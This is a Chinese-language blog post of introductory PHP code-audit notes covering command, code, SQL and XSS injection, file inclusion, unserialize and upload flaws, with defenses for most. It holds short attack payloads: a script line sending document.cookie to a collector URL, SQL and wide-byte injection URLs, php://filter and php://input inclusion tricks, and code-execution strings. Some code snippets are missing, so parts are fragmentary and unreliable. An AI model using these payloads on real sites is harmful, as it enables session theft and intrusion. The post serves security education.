由于之前的学习不是非常的系统,故此重新整理学习“代码审计”,博客也更新相关内容。
0x01:调试函数
echo (print): 这是最简单的输出数据调试方法,一般用来输出变量值,或者你不确定程序执行 到了哪个分支的情况下是用。
print_r、var_dump(var_export)、debug_zval_dump 这个主要是用来输出变量数据值,特别是数组和对象数据,一般我们在查看接口 返回值,或者某些不太确定变量的时候,都可以使用这两个 API。
var_dump 会额外输出数据类型: print_r 输出:格式很整齐,跟 var_dump 的区别是没有类型数据,并且布尔值 的 false 和值 NULL 输出为空 var_export 输出,所有的数据是可以作为组织好的变量输出的,都是能够作为 直接赋值使用: 需要注意的一点是, var_export 对于资源型的变量会输出 NULL debug_zval_dump 输出结果跟 var_dump 类似,唯一增加的一个值是 refcount, 就是记录一个变量被引用了多少次,这是 php 的 copy on write (写时复制) 的 机制的一个重要特点。
exit()退出函数
0x02:注释
// 这是单行注释
/* 这个是多行注释 */
0x03: 单引号跟双引号的区别
双引号解析变量 单引号不解析变量
0x04:超全局变量
超全局变量 — 超全局变量是在全部作用域中始终可用的内置变量
在 php 中可由用户操作的全局变量列表如下:
$GLOBALS — 引用全局作用域中可用的全部变量
$_SERVER — 服务器和执行环境信息
$_GET — HTTPGET 变量
$_POST — HTTPPOST 变量
$_FILES — HTTP 文件上传变量
$_REQUEST — HTTPRequest 变量
$_SESSION — Session 变量
$_ENV — 环境变量
$_COOKIE — HTTPCookies
0x05:命令注入
攻击:
PHP 执行系统命令可以使用以下几个函数:
Linux Unix Windos
system、exec、passthru、 ``(反引号)、shell_exec、popen、proc_open、pcntl_exec
语法:
String system (string$command[,int&$return_var])
String exec(string$command[,array&$output[,int&$return_var]])
voidpassthru(stringcommand,int&return_var)
String shell_exec(stringcommand) 需要echo与反引号类似
`` 反引号
resourcepopen(string$command,string $mode)
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env[,array$other_options]]])
voidpcntl_exec(string$path[,array$args [,array$envs]])
防御:
当用户提供的数据传入此函数,使用 escapeshellarg() 或 escapeshellcmd() 来确保用户欺骗 系统从而执行任意命令。
语法:escapeshellarg(string$arg)
可以用到 php 的安全中,会过滤掉 arg 中存在的一些特殊字符。在输入的参数中如果包含中 文传递给 escapeshellarg,会被过滤掉。
escapeshellcmd(string$command)
escapeshellcmd()函数会转义命令中的所有 shell 元字符来完成工作。这些元字符包括: #&;` , |*?~ <>^()[]{}$\\。
0x06:命令注入函数
常见代码执行函数 eval 、assert 、preg_replace
1.eval函数代码执行注入
2.assert 代码执行注入
3.preg_replace 正则代码执行注入
当 pattern 中存在/e 模式修饰符,即允许执行代码。(简而言之:有/****e***这样的字串儿存在即可)
pattern 在一个参数
phpinfo()';
preg_replace("/(.*?)$regexp",'\\1', $var);
?>
Replacement() 第二个参数
preg_replace()第三个参数注射
最喜欢看到的情况
0x07:XSS漏洞(脚本代码执行漏洞)
反射型、存储性、DOM型
一.反射型
1.直接输出
2.$_SEVER变量(需要找到他们的输出地方)
$_SERVER['PHP_SELF']
$_SERVER['HTTP_USER_AGENT']
$_SERVER['HTTP_REFERER']
$_SERVER['REQUEST_URI']
3.HTTP请求头
User-Agent
Referer
4.利用:
Test
Cookie
var i=newImage;
i.src="http://localhost:81/xss.php?c="%2bdocument.cookie;
Modify headers
二、存储型
1.审计sql语句
关注用户可输入传参到数据库的内容是否过滤完整
DVWA上自行测试
2.过滤
Htmlspecialchars()输出处转义
三、DOM型
0x08:文件包含(本地包含&远程包含)
include,include_once,require,require_once
在 PHP 中,有四个用于包含文件的函数,当使用这些函数包含文件时,文件中包含的 PHP 代码会被执行。
下面对它们之间的区别进行解释:
include():当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来, 发生错误时只给出一个警告,继续向下执行。
include_once():功能和 include()相同,区别在于当重复调用同一文件时,程序只调用一次。
require():
1.require()与 include()的区别在于 require()执行如果发生错误,函数会输出错误信 息,并终止脚本的运行。
2.使用 require()函数包含文件时,只要程序一执行,立即调用文件,而 include()只有程序执行到该函数时才调用。
require_once():它的功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。
本地包含: 受 gpc 影响 截断%00 (5.3.4>php版本才可使用00截断)
远程包含: allow_url_fopen 和 allow_url_include 为 On
http://www.dyboy.cn/url_include_test.txt
伪协议:(查看源码)
1.在 allow_url_include= On 且 PHP>=5.2.0 POST型
参数:php://input
Data:
-------------input的内容为data,可以是字符串儿如上,我们直接代码执行
2.无要求(本地文件内容包含转化为base64编码的字串儿)GET型
参数:php://filter/read=convert.base64-encode/resource=index.php
0x09:SQL注入
什么是 SQL 注入(SQLInjection)
SQL 注入攻击指的是通过构建特殊的输入作为参数传入 Web 应用程序,而这些 输入大都是 SQL 语法里的一些组合,通过执行 SQL 语句进而执行攻击者所要的操 作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
审计SQL语句
SELECT,DELETE,UPDATE,INSERT
输入参数
Sql语句中的宽字节“運” %23=# %27=’ %5c=\
Example:%df\’ = %df%5c%27=縗’
http://www.test.com:81/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=
攻击:
http://localhost/test.php?id=-1%20union%20select%201,user%28%29,3%20f rom%20book
防御:
通过转义的方式
1.开启 gpc
2.mysql_real_escape_string
3.addslashes tips:${${phpinfo();}}
4..关键字过滤
0x10:CSRF跨站请求伪造
攻击:
查看表单提交的地方
比如用户资料修改,管理员的操作是否验证
防御:
1.验证 HTTP Referer 字段
2.在请求地址中添加 token 并验证
3.在 HTTP 头中自定义属性并验证
0x11:动态函数执行与匿名函数执行
一:动态函数执行:
函数与函数之间的调用,可能会造成的漏洞。
二:匿名函数执行: 匿名函数(Anonymousfunctions) ,也叫闭包函数(closures),允许 临时创建一个没有指定 名称的函数。最经常用作回调函数(callback)参数的值。 create_function 创建匿名函数
动态函数Example:
http://www.test.com:81/safe/test.php?fun=phpinfo
匿名函数:
http://www.test.com:81/safe/test.php?fun=1));}phpinfo();//
构造参数实现代码执行
0x12: unserialize 反序列化漏洞
(算是二次漏洞利用)
1.unserialize 函数的参数可控
2.脚本中存在一个构造函数、析构函数、__wakeup()函数中 有类
3.对象中的成员变量的值
反序列化的变量会覆盖变量中的值
Example:
反序列化:
http://www.test.com:81/safe/test.php?unse=O:4:%22demo%22:1:{s:4:%22test%22;s:10:%22phpinfo();%22;}
0x13:变量覆盖漏洞
至少存在$$
变量覆盖漏洞产生的原因有两种:
1.register_globals 为 on 的情况,PHP4 默认开启,PHP5 以后默认关闭。
2.人为注册成为全局变量
全局变量的取值与赋值
0x14:文件管理漏洞
PHP 的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可 能成为高危漏洞
常见函数 copy、rmdir、unlink、delete、fwrite、 chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents 、fread、readfile、ftruncate、 file_put_contents、fputcsv、fputs fopen
增 删 改 查
0x15:文件上传漏洞
审计函数:move_uploaded_file
超全局变量$_FILES
攻击:
1.后缀名是图片格式
2.前缀名不能是外部提交的
3.上传的目录不可以是获取外部提交的路径 1.asp;/1213.asp.jpg
防御:
1. 使用白名单方式检测文件后缀
2.上传之后按md5(‘str’+时间)生成文件名称
3. 上传目录脚本文件不可执行
4. 注意%00 截
5. Content-Type 验证
基本上就没啥了,后续会更新一些实战(最新漏洞)的内容,本文章参考网上大部分的审计教程总结而来,(算是信息安全专业的代码审计入门干货),大家有任何问题都可以直接Q我(问问题请直接入主题,截图+问题,不要问在不在!!!),关注本博客或者DYBOY.CN即可获得最新的资源和教程哦~
注:本文属于原创文章,转载请注明本文地址!
作者QQ:1099718640
CSDN博客主页:http://blog.csdn.net/dyboy2017
Github开源项目:暂无开源